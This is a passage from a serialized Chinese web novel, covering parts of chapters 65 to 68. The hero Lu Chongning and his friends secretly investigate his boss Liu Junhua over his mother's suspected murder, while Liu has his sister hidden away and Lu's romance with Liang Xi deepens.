“你有他照片吗?”
“有,我找找员工档案。”
“先挂了,晚上去找你,可能晚点。”
电话挂断,路崇宁调出曲天明的照片发给信航,发完拿上烟去楼道抽,他在思考是不是哪里漏了马脚,否则马有平为什么突然转院?
“小宁,我想办法查马有平转去哪里,你在公司别有异动。”
“知道。”
信航打完电话又发信息反复叮嘱,路崇宁明白他的良苦用心,这点心计他还有。
明天要和刘俊华去上海,精力大半会被牵扯,想到这,路崇宁竟然感到害怕,害怕因此与真相擦肩而过,再也找不到杨婉仪的踪迹。
忽然楼道门打开,一个女人夹着烟进来,路崇宁歪头,发现是公司的财务李蒙,两人平时交集不多,只有在报销的时候说几句话。
李蒙也发现了路崇宁,冲他笑笑,“小宁。”
“啊。”路崇宁起身,叫声“蒙姐。”
“没事,你抽。”
“我抽完了。”
路崇宁从她身边走过,开门出去。
上次梁墨回来,说他爸交了个女朋友,叫“蒙蒙”,当时路崇宁觉得名字耳熟,和公司财务李蒙很像,但没想太多,直到梁墨把偷拍的照片发给梁喜,梁喜又拿给路崇宁看,这才确认是李蒙。
三叔的工作,刘俊华拿下的项目,他手下的员工和三叔谈恋爱不能不让人多做联想,尤其是路崇宁刚回来时三叔对他的告诫,搞不好那时他和刘俊华的交道已经很深了,所以才说出那些话。
路崇宁对刘俊华怎么拿下项目不感兴趣,但一定用了一些非正常手段,如果这些手段和三叔有牵扯,他日东窗事发,那么三叔
虽然路崇宁对他没多少私人情感,但有梁喜这方面,他一直对三叔很尊重,更无权干涉私人感情问题,和谁好是他的自由,只是李蒙和他好,路崇宁感觉没那么单纯。
下班时间,同事相继离开公司,路崇宁没走,他在等信航,这件事他不想回家说,怕梁喜听见让她担心。
八点钟信航联系他,说下班了,路崇宁本想约他到之前打工的咖啡馆坐坐,可被信航否了,他说:“我去你那边,找个地方停车,再发你位置,你过来就行。”
路崇宁以为是什么饭馆或者喝东西的地方,没想到选在一个没盖完的小区侧街,而且信航不让他开车,他打车过去,找了十多分钟才找到。
开门上信航的车,路崇宁问:“怎么这么偏?”
信航脸上闪过一丝不自然,只一瞬便被路崇宁捕捉到。
“小心点总不会错。”
“出什么事了?”
信航打开手机,递给路崇宁,是张姐发来的照片,照片拍的是张皱巴巴的纸条,路崇宁点开图片放大,脸上的惊愕也逐渐明显。
“我哥杀了婉仪姐,他现在还想杀我灭口!”
路崇宁视线忽然模糊,他揉揉眼又读了一遍。
信航点了根烟给他,“张姐说马有平临
走前偷偷塞给她的。”
路崇宁接过狠吸了两口来平复胸口发胀的情绪,如果马有平没撒谎,那他妈妈确实已经死了,怪不得这么多年怎么都找不到
路崇宁看着纸条,“马有平的话有几分可信?”
信航摇摇头,“不能百分百信,但起码是个调查方向。”
“如果是刘俊华,他为什么让我当他的接班人?图什么?”
车窗摇下,路崇宁手指微颤,往外弹了弹烟灰。
信航也想不通,“不管怎样,我会亲手抓住杀害杨姨的凶犯,相信我。”
“我家现在只剩我自己了。”
“你还有我,有喜喜,我们也是你的家人。”
路崇宁忽然坐直,把手机还给信航,“明天刘俊华让我陪他去上海,早就定好的行程,我必须去,曲天明的模样你记好了,小心他,也要小心吴青,还有那个周胜。”
目前路崇宁掌握的只有这几个人,他之所以跟曲天明拉近关系,不是跟周胜,因为周胜脾气暴躁,而且和路崇宁的工作交集不多,贸然接近容易引人注意。
信航也给自己点了根烟,“刘俊华混了这么多年,关系盘根错节,但他大部分人脉在珠三角,化城他离开这么多年,除了吴青,应该没有纠葛更深的人了,吴青是个切入点,有了马有平这张纸条,杨姨的案子可以迅速开启侦查,谁也别想跑。”
路崇宁还是疑惑,“马有平在医院待了几年,现在才说出这件事,而且举报的人还是她亲哥,”
“亲哥?把你当精神病关了这么多年,还能叫亲哥吗?”
“马有平会不会装疯?”
“他哥能把杨姨杀了,马有平为了自保,装疯不是没可能。”
烟丝“嘶啦”燃烧,路崇宁问:“纸条还在张姐手里吗?”
“在我单位,已经快马加鞭送过来了。”
“吴青那边你打算从哪切入?”
“容我想想。”
“他做生意的,不可能一点漏洞没有。”
信航点点头,“吴青比刘俊华在化城扎根要深,说句不好听的,刘俊华那个工程项目,要不是有交情,轮不到吴青。”
如果刘俊华是幕后主使,那么一切都能解释了,他给吴青拿钱,让他出面投资路召庆的酒厂,借此搞垮路家,作为利益交换,刘俊华从吴青手里拿到游乐场这块地,吴青自然能得到他想要的钱。
两人配合得还真是天衣无缝
“回家吧,你打车回去,我不方便送你,从现在开始,咱俩要真正保持距离。”
信航说着拍拍路崇宁肩膀,他没说之前被打那次,对方走的时候骂骂咧咧留下一句话,“别管不该管的事,小心没命!”
虽然那人没明说,但信航过滤几番猜测,觉得跟路崇宁有关。
“走了。”路崇宁开车门。
“欸!”信航想到什么又叫住他,“你跟喜喜怎么说的?加班吗?咱俩通个气,别说漏了。”
“加班。”
路崇宁下车快步往胡同外走,这一带黑乎乎的,没人,也没车,他要走到外面正街才能打到出租。
夜里冷风吹过来,走到一处路灯旁边,信航开车跟他擦肩而过,开出十几米忽然停下,路崇宁手机接到一条信息,是信航发来的,“我和喜喜都在,你不是一个人。”
看着路崇宁走路的背影信航有些心酸,所以难得煽情,发完赶紧开车走了。
等车影消失,周边安静下来,路崇宁点了根烟边走边抽,步伐沉重,像灌了铅一样,他要在回家前调整好情绪不让梁喜看出来,虽说还睡在各自房间,可关系和以前不同,情绪稍有变化都瞒不过梁喜的眼睛
九点钟,路崇宁回到家,梁喜正在客厅熨衣服,他走近一瞧,是自己的衬衫。
“回来啦。”
梁喜听到开门声回头看了眼,转身又继续熨。
“我来吧。”路崇宁伸手要接熨烫机。
“不用,快熨完了。”梁喜扭头看他一脸疲惫,“你老板也是,明天出差今天还让你加班。”
路崇宁扯扯衣角,“没有,我自己加的,想在出差前把工作弄完。”
“我查了下上海温度,人家还过夏天呢,你带那几件薄衣服去吧,我给你拿出来了。”
路崇宁从身后抱住梁喜,埋在她颈窝深吸一口气。
“干嘛?”
“充电。”
梁喜笑笑,几下把衬衫熨完,拍拍腰上的手,“放开,弄好了。”
路崇宁不放,看来还没充满。
“你去几天?”
“不知道,看老板安排。”
路崇宁终于放开手,梁喜刚要走,没想到路崇宁又拉她到自己卧室。
床单起伏,衣服散落,发生关系后他要得频繁,有时一晚两次,第二天早上闹钟一响就能爬起来上班,梁喜不知道他哪来的精神头,技巧不多,力气倒大,横冲直撞的
今天又折腾半个多小时才完事儿,梁喜一点力气使不出,披头散发趴在床边看他收拾行李。
一件件衣服整齐码进箱子,剃须刀,充电器,还有什么?路崇宁掐腰站那细想。
忽然他扭头看向梁喜,“要不把你也打包带走得了。”
“滚~”
第66章 第六十六章 向日葵胸针。
路崇宁出差后梁喜自己的时间一下变多, 下班后去超市买了一个崔影爱吃的榴莲,香臭香臭的,带过去看她。
崔影看见榴莲笑得合不拢嘴, 赶紧拿到吧台柜子里藏好, 怕味道影响顾客。
“吃点啥?”
“我吃过了。”
梁喜把包给她,拽过围裙开始干活。
忙到八点半, 顾客走得差不多了, 两人这才有时间坐下来聊天, 崔影给梁喜做了一杯鲜榨玉米汁, 加了少少糖, 热的,很好喝。
“今天怎么有空过来?”
梁喜冲她眨眨眼,“想你。”
“心情不错啊, 是不是跟路崇宁好上了?”
崔影本无心一问,谁知梁喜点点头,承认了。
“我去!路崇宁终于开窍了,跟我讲讲过程, 他怎么跟你表白的?”
“嗯就是省台到我们工作室录制那天晚上, 他来接我, 我俩在家楼下吃路边摊, 然后他就说了。”
崔影双手端着杯子, 模样比上学那会儿还认真。
“在路边摊表白, 你俩真是不走寻常路。”
“在哪不一样。”
崔影反驳,“怎么也要浪漫点吧, 在海边,在山上”
梁喜笑她偶像剧看多了,低头喝玉米汁。
“我就说你早点把他睡到手, 拖了这么久。”
“不晚。”
“你来找我,路崇宁呢?”
“去上海出差了。”
崔影撇撇嘴,“我说呢。”
“跟他走不走没关系。”
看在榴莲的份上崔影不计较。
她给梁喜的杯子补满,“喜喜你知道吗?你和路崇宁就像两只在屋檐下躲雨的小动物,一只猫猫,一只狗狗,虽然淋湿了,虽然雨不知什么时候停,但你们互相倚偎取暖的模样很打动我,真的。”
“谁是猫谁是狗?”
崔影食指和中指相互叠加,“这两种特质在你俩身上自由转换。”
梁喜皱着眉,还在思考怎么个转换法,崔影又问:“对了,那个许京平真不联系你了啊?”
“嗯。”
“他倒有种,微信删了?”
梁喜摇头,“不知道,我没看。”
“你也够绝情。”
“不然怎么样,我不喜欢他,还拖着他,是人干的事吗?”
崔影点点头,“周靖哲和那个佩姐的八卦还有后续吗?”
工作室的八卦梁喜只给崔影讲过,她听得津津乐道。
刚才提起周靖哲,梁喜倒想起拍摄那天,有个陌生姐姐来找他,举止亲密,看着关系不一般,同事那两个姐姐也看见了,互相耳语说了几句什么,然后会心一笑,不用听也知道不是什么好话。
梁喜把看到的跟崔影如数讲了一遍,她张张嘴,“周靖哲是不是上过培训班啊?怎么那么招姐姐喜欢呢?!”
“我也不知道,可能他有那方面天赋。”
“你和
路崇宁好了,信航知道吗?”
“我俩谁也没跟谁说,你是第一个知道的。”
崔影有些欲言又止,继而夸张似的捂着胸脯,“那我还真是荣幸,等你俩结婚,可以免了我的份子钱吗?”
“不能。”
喝完玉米汁,看时间差不多了,梁喜收拾一下打车回家,刚上车,路崇宁打视频电话来,她不好意思外放,找了半天耳机才接。
路崇宁应该在酒店房间,很亮,相反梁喜这边黑乎乎的。
“在哪?”
“回家路上,去崔影店里了。”
路崇宁把手机挪了个位置,好让灯别照着镜头。
“晚上吃饭了吗?”
两人异口同声,又一齐说“吃了”
“等你回家我再给你打。”
“好。”挂断电话,梁喜看向窗外,归心似箭
秋季的上海气温只比化城夏天略低一点,路崇宁陪刘俊华刚到上海就被他拉去奢侈品店买了好几套衣服,路崇宁几番拒绝都没用,刘俊华直接付钱。
他给出的理由是,这几天要见一些客户,需要穿得体面些,没办法,路崇宁只能提个小要求,样式他自己来选,避开那些花里胡哨的大logo
在看到那张纸条之后,路崇宁但凡和刘俊华接触,都要极力克制,既不能太顺从,又不能太有主见,做事之前要想想自己之前的态度,别被刘俊华看出破绽。
这次到上海一共四天,每天从外面忙完回来,路崇宁都要和信航通话,目前还没找到马有平的下落,摄像头最后拍到吴青开的车在杨家镇附近消失,周边路段大多是村子,没有摄像头,上千户人家都可以藏人,怎么找?
路崇宁猜测马有平会不会藏在全喜村,信航觉得可能性不大,毕竟村里好多人都认识她,容易被发现。
回到化城,路崇宁没提前告诉梁喜,也没顾上先回家,而是直奔她工作室。
打电话联系完,梁喜从工作室跑出来,路崇宁张开手,她顺势扑进路崇宁怀里,只是拥抱仅维持两秒,梁喜忽然想到什么,推开他,面露羞涩。
路崇宁牵她手,“怎么了?”
手指攥紧,“你怎么回来不告诉我?”
“不想让我回来吗?”
梁喜看眼时间,“我还要等会儿下班,你进来吧。”
“可以吗?”
“当然可以,你又不是没来过。”
路崇宁跟梁喜进屋,前厅没人,周靖哲和老王去给朋友送货了,另外两个姐姐在烧陶。
走到二楼工作室,梁喜让路崇宁随便坐,她又拿起刻刀,专心雕刻。
路崇宁从兜里掏出一个盒子,为了第一时间给梁喜,没放行李箱。
“喜喜。”
路崇宁坐到她旁边,打开盒子,拿出一个向日葵胸针递到她面前。
“给我的?”
“嗯。”
梁喜腾不开手,她转过身,说:“你帮我戴上。”
“哪边?”
“左边吧。”
路崇宁往前挪挪凳子,别针小心穿过衣襟再扣上,梁喜近距离打量路崇宁的脸,出门几天,好像清瘦了些。
“喜欢吗?”
“喜欢。”
“你忙,我去那边,别打扰你。”
路崇宁说完起身,坐回原位。
梁喜把最后一点收尾,差不多六点钟两人锁门离开工作室。
今天不冷,梁喜早上骑自行车来的,路崇宁载她回家,这次骑得很慢,慢到梁喜可以看清过路人的模样。
“马有原妹妹那边有什么进展吗?”
“没有。”
自从上次梁喜跟信航去过一次之后她再问什么,信航和路崇宁都统一口径说没有,在这件事上两人目的一致,不想让梁喜掺合进来。
“马有原改名换姓,为的就是别人找不到他,你直接跟刘俊华对峙,容易起反作用。”
弄不好丢了工作,还查不到真相这句话梁喜不好直说,但路崇宁肯定明白。
“慢慢来吧,这么多年都等了,不差一时半刻。”
路崇宁拍拍她手背,纯粹安抚。
“晚上想吃什么?”
“你。”
“”
什么虎狼之词,梁喜差点跳车
第二天上班,路崇宁第一时间查看项目考勤情况,果然曲天明又请假了,理由是回老家办事,昨天才回来。
回头想想曲天明说话做事已算不留漏洞了,他就像其他员工一样,工作能力尚可,私下里即吐槽同事也吐槽领导,偶尔埋怨几句加班累,要不是路崇宁察觉到他身上的雪茄味道,想找出他很难。
曲天明的员工档案写着他来自顺城,本科学历,土木工程专业,年龄三十六,但没有过往工作经历。
路崇宁到光华上班时各个工作岗位的员工基本固定了,比他晚来的人没几个,曲天明也在他之前。
两人私下吃饭的时候聊过,曲天明说他一个亲戚在刘俊华广州那边的公司上班,介绍他来的化城,因为是未婚,所以到这么远的地方工作没什么牵挂和压力。
关掉员工档案,路崇宁着手整理在上海出差的报销,刘俊华事先转给他五万块钱,花得差不多了,他要把相应的明细整理好,连同剩下的钱还给刘俊华。
这次出去,路崇宁更加深切体会到刘俊华在商场上左右逢源的能力,同时手腕也够狠,人前笑脸,人后断财路,毫不留情。
路崇宁暂时没有跟他正面交锋的能力和财力,只能暗地里留意所能留意的一切。
“咚咚”敲门声,路崇宁抬头,看见阿布站在门口,“小宁哥,你回来啦!”
路崇宁站起来,“有事吗?”
“没事,好长时间没见你了。”
路崇宁指着脚边礼盒,“刘总买的,你给各部门分一分吧,自己也留一份。”
“谢谢小宁哥。”
“别谢我,谢老板。”
东西有点多,路崇宁帮她拿过去,走到走廊时迎面看见周胜,手里拿着一堆票据,路崇宁想起来今天是统一上交报销凭证的日子,他朝周胜点点头,“来报销吗?”
周胜还是那副冷脸,“办离职。”
擦肩而过后拉开距离,阿布小声路崇宁说:“他被开除了。”
“原因呢?”
阿布摇头,“跟项目上工人打架,不是一次两次了,这回把人打进医院,没办法公司只得开除他。”
周胜是关系户,除非做了特别难看的事,否则刘俊华应该不会开他,看来被打的人伤得不轻,路崇宁想,他得去项目打听打听了。
第67章 第六十七章 藏匿处。
农历十五, 又是拜佛烧香的日子,这次陪刘俊华到青云寺的不是梁辰景,而是吴青。
进入十一月, 一早山上气温很低, 树干上仅剩的几片叶子结了白霜,再来几阵风必然会掉落。
刘俊华穿了黑色带抓绒的冲锋衣, 吴青穿的短款羽绒服, 他这些年过得实在舒坦, 肚子上涨了一圈肥肉, 拉锁拉上有点喘不过气, 干脆敞怀。
拜完佛,烧完香,像往常一次两人到禅房喝茶聊天, 这会儿没那么冷了,两侧门敞开,山中空气涌进来,清新怡人。
不同于和梁辰景说话时的客气模样, 刘俊华和吴青说话很随意, 毕竟都见过对方的狼狈, 也都掌握着彼此的把柄, 什么德行一清二楚。
刘俊华习惯由他来泡茶, 一如他喜欢掌控局面。
“小平怎么样?”
“不太好。”
刘俊华脸上毫无波澜, “不吃不喝吗?”
“要不”吴青试探问到,“刘哥你见一面吧, 她就只剩你一个亲人了。”
茶夹被刘俊华扔到一边,发出清脆的声响,吴青抿抿嘴, 不敢往下说。
“我爸妈没得早,是我在外面打工供她念书,好吃好喝养着她,她得病这些年我也花了不少钱,仁至义尽了,既然小宁发现了那张照片,我不得不防患于未然,先让小平销声匿迹一段时间,等合适时候
我会给她找个南方的医院让她好好养着,你要做的就是帮我看好她,别给我惹事。”
“知道,刘哥,放心。”
第一泡茶扔掉,第二泡茶好了,吴青抢先拿过,给刘俊华倒茶。
“我给周胜开了,他有没有骂我啊?”
“他哪来的狗胆,当初让他去我那他不去,以为能配上光华建筑的高枝,这回知道自己几斤几两了。”
刘俊华仰头喝了口茶,说:“其实周胜那个人心眼不多,想要什么都摆在脸上,给他足够的钱,帮我把小平看好,等这段熬过去我会奖励他一套房。”
“周胜何德何能,我先替他谢谢刘哥。”
吴青用余光瞄着刘俊华喝完他才喝,“刘哥,这次带小宁去上海,他表现怎么样?”
“还那样,舍不得花钱,节省惯了,不过跟那些叔叔吃饭放开不少,能跟着应付一些场合,这点比之前有进步。”
“我要是他一定磕头感谢,上哪找这种好事啊,要靠他自己猴年马月能还清欠的钱,对了,不送他出去上学啦?”
“他不愿意,还是在社会上历练吧,这样涨经验快。”
“跟着你肯定能学到不少东西,慢慢来。”
吴青想到之前来化城的林总,问:“小宁和林总女儿处得来吗?”
说到这个刘俊华摇摇头,“儿女情长这事儿谁也拦不住,他就喜欢那个叫“梁喜”的姑娘。”
吴青有点转不过来弯,“梁喜?不是他妹吗?”
“什么妹不妹的,又没血缘关系,在一起日久生情了。”
吴青安慰他,“小年轻哪来的定性,今天喜欢这个,明天喜欢那个,说不定过了年就换人了。”
这话放在别处可能在理,可吴青对面的人是刘俊华,说完才意识到不对,赶忙给刘俊华倒茶,顺便换个话题,“听说梁局想和蒙蒙结婚啊?”
“是,已经提上日程了。”
“他都三婚了吧?还这么轻易上头。”
刘俊华笑笑,“如果蒙蒙想结,我自然愿意促成这件婚事,左右梁局离退休还远,以后用到他的地方多着呢。
“蒙蒙上段婚姻伤着了,能跟梁局也不错,只是嫁过去就得当后妈。”
“那是他俩的事,咱们管不着。”
聊着聊着一壶茶下肚,吴青起身上厕所,刘俊华掏出手机拨了个号码,那头很快接听。
“喂,天明。”
“刘哥,什么指示?”
“小宁回来这几天忙什么了?”
“按时上班下班,又去咖啡馆打工了,他应该和梁喜确定了恋爱关系,我看见他俩牵手了。”
刘俊华对他谈恋爱不感兴趣,“有没有见信航?”
“没有,好长时间没见了,信航总在单位加班,有时半夜才回家。”
“小宁没发现监听吧?”
“应该没有,聊天什么都正常。”
“那就好,挂了。”
等吴青回来,刘俊华也去了一趟洗手间,吴青闲着没事做,打开手机刷视频,他不确定刘俊华要待到几点,反正他不能说早走,待多久都得作陪。
刘俊华解决完回来坐下,指着茶壶说:“喝完这壶走。”
“欸。”吴青点头应声。
“有件事我还是要再叮嘱你,小平一定要看好,万一跑出去说了什么不该说的,你我的好日子也到头了。”
“明白!”
“如果。”刘俊华端起滚烫的茶吹了吹,喝完一口说:“如果发生非常情况,到了你死我活的地步,你知道怎么解决。”
“刘哥,小平是你亲妹妹”
刘俊华沉吟半晌,说了句让吴青汗毛直立的话。
“记住,我们是一条绳上的蚂蚱,捅了我,血也会溅到你身上。”
吴青咽咽口水,“我知道,我知道,刘哥您放心。”
十点钟,两人从山上下去,在山脚分别各走各的,吴青开进市区,直奔澡堂好好洗了个澡才平复情绪,他知道刘俊华言出必行,也清楚刘俊华之所以能混到今天这个地位,跟心狠有很大一部分关系,既然上了这条贼船,只能走一步看一步,不到万不得已,吴青不能和他撕破脸,毕竟利益纠葛太深,还得指着这位财神爷吃饭
黄昏时分化城主市区下起小雨,距离化城几十公里的全喜村却下了雪,只是下得时间不长,差不多十分钟便停了。
周胜打开木门,远远望了一眼水库方向,水面上雾蒙蒙的,空气比上午清新一些,只是他情绪并不好,待在山脚的烂窝棚大半个月了,吃不好睡不好,还有一个疯子,搅得他头疼。
电话来电震动,周胜回头瞥了一眼角落里的女人,关上门到外面接,“喂,吴哥。”
“怎么样?”
“我都快憋疯了!”
“谁他妈问你了,我说那女的。”
“睡着了。”
“不到万不得已别喂药。”
“知道。”
周胜点了根烟,在墙角蹲下,“吴哥,她疯了这些年,刘总怎么突然把她接出来了?”
“别瞎打听,不该知道的不要问,对你没好处。”
周胜吸口烟,那就问点该问的,“答应我的钱什么时候给我?”
“不是转了你一万吗?”
烟雾顺着他污浊的双眼向上飘散,“剩下的呢?”
“事成之后自然会给,哪次差你了?!”
吴青不打招呼便挂断电话,周胜把烟抽完,烟头按进土里,抬头往向前方。
初冬,山上只剩下光秃秃的树干,他记得小时候每到秋季经常跟他爸到山上采蘑菇,捡山货,这些年山的面积逐渐减少,挖土、砍树,慢慢就剩眼前这一块了,要不是因为祖坟在山里,估计连这一块都剩不下。
他上初中的时候那一届村长背着村里人把山头卖了,被村里人知道后集体到市政府上访,这才把山要回来,倒不是为了卖的钱没分给大家,而是祖祖辈辈埋在山里,打死不能卖。
周胜对爷爷奶奶或者再往上一辈没什么感情,要是换了他,有钱赚一样会卖。
望着眼前逐渐黑沉的天空,周胜忽然打了个冷颤,这种冷不是来自温度,而是他忽然意识到一个事实,这些年他摸爬滚打,还是没爬出全喜村,三十六岁的今天,他狼狈地躲在村外的窝棚里,像个野狗一样。
野狗和疯女人,都是被世界抛弃的角色,他突然笑出声,自嘲缓解了冷颤,他起身回去。
开门声把马有平吵醒,她睁开眼,看见是周胜,慢慢站起来,坐到一旁的土炕上,问:“你为谁做事?”
多天来女人开口说的第一句话,并且一改疯疯癫癫的模样,把周胜吓了一跳,“卧槽!你会说话啊?我他妈还以为你是哑巴呢。”
周胜打量两眼马有平,目光呆滞,看起来很空洞,他试探问道:“你到底疯没疯?”
马有平露出瘆人的笑,“你猜我疯没疯?”
笑一瞬收回去,她语气冷漠,“你为谁做事?”
“不该问的别问。”
吴青说的话,周胜原样扔给马有平。
“你是全喜村的吧?我好像见过你。”
周胜扔过去一个面包,“吃了,少说话。”
马有平瞥了一眼面包,三口两口吃掉,“水。”
周胜又扔去一瓶水。
吃饱喝足,马有平身上的力气恢复了些,她说:“你告诉我哥,这么对我他会遭报应的。”
周胜冷哼一声,“报应?你哥拜了那么多四方神仙,还怕报应吗?”
“那你呢?你不怕吗?”
“烂命一条,死不足惜。”
马有平站起来,一步步走到周胜跟前,“你放我走,我不会把你供出去。”
“别闹了姐姐,回去躺着,让我省点力气,把我惹毛了对你没有任何好处,你哥都不把你当回事,何况我呢。”
“这里太破了,不能换个地方吗?而且烧荒马上烧到这了,你不怕被发现啊?”
周胜眉头一皱,马有平说的他不是没考虑,只是时间紧急,他能想到的只有这个破窝棚。
“你在化城没房子吗?你可以捆着我,我保证不跑,前提是离开这,你不敢生火,炕上潮,还冷,我睡不着。”
马有平说的是事实,周胜也纠结好几天了,他扒开塑料布看了一眼窗外,再三衡量之下决定等后半夜再离开
凌晨一点钟,马有平终于等到她想要的结果。
周胜把垃圾掩埋,抹掉屋里生活过的痕迹,收拾好后他又检查一遍才带马有平离开。
车上,马有平手脚都被捆着,还用帽子挡住大半张脸,周胜也同戴着帽子和口罩,捂得那叫一个严实。
周胜租的房子在离游乐场项目五公里外的棚户区,属于化城比较偏的地方,一个月房租三百块钱,很便宜,他不愿意和那些工友住宿舍,所以自己搬出来住。
这一带住户很少,多数都搬到市里去了,留着房子等待拆迁的好运降临,每年固定传出一阵风,最后又无声消失,不了了之。
一段时间没回来,屋里落了不少灰,周胜把马有平塞到里屋,扔给她一个空桶和一卷纸,说:“有问题自己解决,要是大喊大叫我直接杀了你。”
门关上,一缕肉眼可见的灰尘从门框上方飘下来,正好被周胜吸进去,他猛咳几声,分外烦躁,找来锁头把门锁死。
屋里漆黑,外面也死一般沉静,周胜掏出烟点着,打火机的火苗映在玻璃窗上,照出他疲惫阴暗的面庞
第68章 第六十八章 他俩为什么瞒我呢?
自从梁喜上电视后, 找她做黑陶的人逐渐多起来,手法熟练程度和周靖哲不相上下,老王说梁喜的刀工要比周靖哲略高一筹, 当然这话不是当着他的面说的。
忙起来梁喜下班时间越来越晚, 双休没了,只剩单休, 她忙, 路崇宁也忙, 只有晚上回家能一起说说话。
小床彻底沦为摆设, 路崇宁把梁喜的东西每天拿过来一点, 慢慢那屋空了大半,还好最近信航没来,要是被他看见, 只能老实交代。
如果他知道,唐姨他们马上也会知道,之前还信誓旦旦说哪个哥也看不上,这回打脸了
今晚终于不加班, 路崇宁接梁喜回家, 说孟相帆来了, 三人一起吃饭。
离老远孟相帆看见路崇宁和梁喜手牵手走过来, 他乐得牙都快飞出去了。
“卧槽!兄弟可以啊!”
孟相帆照着路崇宁肩膀怼了一拳, 梁喜忙护住, 他笑笑,说:“喜喜, 好样的,就喜欢你这种。”
路崇宁问他:“想吃什么?”
“老规矩,让喜喜选。”
梁喜一时想不出来, 向路崇宁求助,他说:“要不还是大盘鸡?”
“行!”
到店点完餐,梁喜瞥了一眼孟相帆的行李,问:“你是要去新疆滑雪吗?”
“今年不去了,家里有点事。”
准确说是路崇宁有事,但孟相帆不敢告诉梁喜。
“喜喜,听说你上电视了。”
梁喜有点不好意思,“你怎么知道?”
“小宁给我发的呗,媳妇儿上电视,他跟我臭显摆。”
桌下,路崇宁踢了一脚孟相帆,他赶紧坐正。
服务员递过来三瓶矿泉水,路崇宁摸了摸,转头对服务员,“再帮我来壶热水,谢谢。”
矿泉水放到他和孟相帆盘边,热水给梁喜,她这两天生理期,路崇宁不让她碰凉的。
“梁大师你做的黑陶什么价?我想买一个留着升值。”
梁喜笑笑,“你想要什么,送你。”
“啥都行,不挑。”
路崇宁插话过来,“不送,你买,不打折。”
孟相帆瞪他一眼,“瞅你那小气劲!”
过会儿大盘鸡端上来,三人都饿了,吃得热火朝天,吃完照例梁喜先回家,路崇宁和孟相帆在楼下抽烟。
花坛边,两人连灰都不擦,一屁股坐上去,烟盒里最后两根烟分完,烟盒被路崇宁隔空扔进垃圾桶。
“小宁,你确定要做?”
“确定。”
“扳得倒吗?”
“不知道,尽力而为。”
孟相帆看着路崇宁叼烟的侧脸,记忆中那个执着的少年仿佛跨越风雪走到面前,虽已长成大人,却依然执着不减。
“刘俊华万一倒了,你的工作和收入就没了,如果他不倒,我怕他连你也想弄死。”
“杀人偿命,欠债还钱,我爸欠的钱我还了,我妈的命必须由杀她的人来偿。”
路崇宁弹弹烟灰,动作很轻,但他说的话却掷地有声般落在孟相帆心头。
“你呢?我说过好几次不让你来,你怎么又来了?禾木不是下雪了吗?你应该去滑雪。”
孟相帆骂骂咧咧一句,“现在还有什么事比你重要,小宁,我把你当朋友,信航把你当兄弟,我俩都不会置之不理。”
路崇宁抬起脚,膝盖蜷缩踩着花坛边,“刘俊华那人,真要正面交锋十个我都玩不过他一个。”
“所以我们要走的是一条夜路啊!”孟相帆笑着拍了拍路崇宁肩膀,“现在他们在明,我们在暗,朝着光走出去就赢了。”
路崇宁知道孟相帆在鼓励他,他仰头朝天呼了口烟,“相帆,我看起来头脑很简单吗?”
“你~八百个心眼。”
“刘俊华凭什么判断他说那些话我会信?”
“你现在和他比,唯一的胜算就是他不知道梁叔留给你的线索,那些内容只要看了就会怀疑,要不是梁喜误得到那张照片,他肯定不会告诉你他当年和杨姨谈过恋爱,那个安排在梁叔身边的女人和刘俊华也脱不了干系,如果梁叔没死,他们还会想别的办法让他永远闭嘴。”
路崇宁的烟抽得比孟相帆快,他又掏出孟相帆口袋里的烟盒,没顾上看什么牌子,抽出一根点上。
“少抽点。”
“嗯。”
嘴上应承,实际完全不听。
路崇宁咬着烟,眉头拧在一起,“我现在无时无刻不在跟刘俊华演戏,生怕眼神不对被他察觉。”
“你有个算是优势吧。”
“什么?”
“你很会隐藏情感,也很能忍。”孟相帆说完又补一句,“除了梁喜啊!在吃醋这方面你藏不住半点。”
听到梁喜名字,路崇宁的神情略有缓和。
“我走了。”
“信航下班了吗?”
“下了。”
孟相帆晚上要去信航那住,信航则回爸妈那,他说这样保险些,交集别太多。
路崇宁看着孟相帆一脸担忧,“小心点,有事联系。”
“回家吧,喜喜等你呢。”
“嗯。”
孟相帆拖着行李箱离开,等背影走到看不见路崇宁才上去
他俩聊天的时候梁喜在楼上洗了澡,洗了衣服,收拾完钻进被窝,趴床上看电影。
“喜喜。”
路崇宁每次回家进屋便习惯性喊梁喜名字,生怕她丢了一样。
“床上呢。”
梁喜说完路崇宁推门进屋,“肚子疼吗?”
“不疼。”
“给你倒点热水?”
“真不疼,吃饭时喝了好几杯,再喝半夜该上厕所了。”
路崇宁把衣服脱掉,换上睡衣,“我去洗漱,你困了就先睡。”
“嗯。”
刚才梁喜有点迷糊,路崇宁一回来她倒不困了。
等他洗完见梁喜瞪着大眼睛,比刚才他回来时精神,忍不住笑,问:“你是不是喝咖啡了?”
“没喝啊。”
梁喜往里挪挪,路崇宁早上起得比她早,所以习惯性睡外面。
钻进被子躺下,路崇宁长手一捞,将梁喜搂过来,她抬腿骑在路崇宁身上,压得他故意闷吭一声。
“干嘛?”
“我要喘不过气了”
梁喜伸手,在他下面掏了一把。
路崇宁拍拍她肩膀,“非常时期,别勾引我。”
梁喜瞬间老实。
“还看吗?”
“不看了。”
路崇宁转头关掉电脑,又关了床头灯,给梁喜掖好被子,一整套动作行云流水,每天做的
都一样。
黑暗中梁喜的手被他握住,拇指摩挲到她手掌的茧,说:“累了可以不上班,我养家。”
“没事,我喜欢做黑陶。”
“我记得。”路崇宁眼前闪过一些画面,“高中时候你翘课去老王那练习,班主任找你,你就撒谎说家里有事,他不信,每次都来跟我求证。”
梁喜被他说得不好意思,“谁让你那么会装乖,像模像样,迷惑老师。”
其实不是装,只是话少,加上学习好,才会给老师留下乖的印象。
“睡吧。”
“嗯。”
孟相帆循着记忆走到信航家小区门口,敲开保安亭的门,“哥,我来找朋友,麻烦给我开下门。”
“几号楼的?”
“七号楼二单元。”
保安大哥好说话,问完便给开了。
“谢谢啊!”
孟相帆拉着行李箱往里走,刚走到二单元门口信航打电话来,“晚上你们吃的啥呀?”
“大盘鸡。”
“我擦,伙食这么好!”
“你到家了吗?”
“吃泡面呢,你到哪了?”
孟相帆往楼上看,“那我直接上去了。”
“来吧。”
挂断电话,信航拿上钥匙去电梯口等,这个时间没啥人坐电梯,孟相帆很快上来,见到信航,他举手,两人击了一掌,信航说:“好久不见呐!”
“可不。”
“我帮你拿。”
“不用,不沉。”
左手第一间,信航开门进屋,孟相帆之前来住过一次,已经熟悉了,自己开鞋柜拿拖鞋换上。
“晚上又加班啦?怎么吃泡面呢?”
“嗯,加完班饿了,垫巴一口。”
孟相帆打开行李箱,拿出一袋红肠递给他,“加个菜。”
“可以啊!”
信航撕开拿出一根,一口咬掉三分之一。
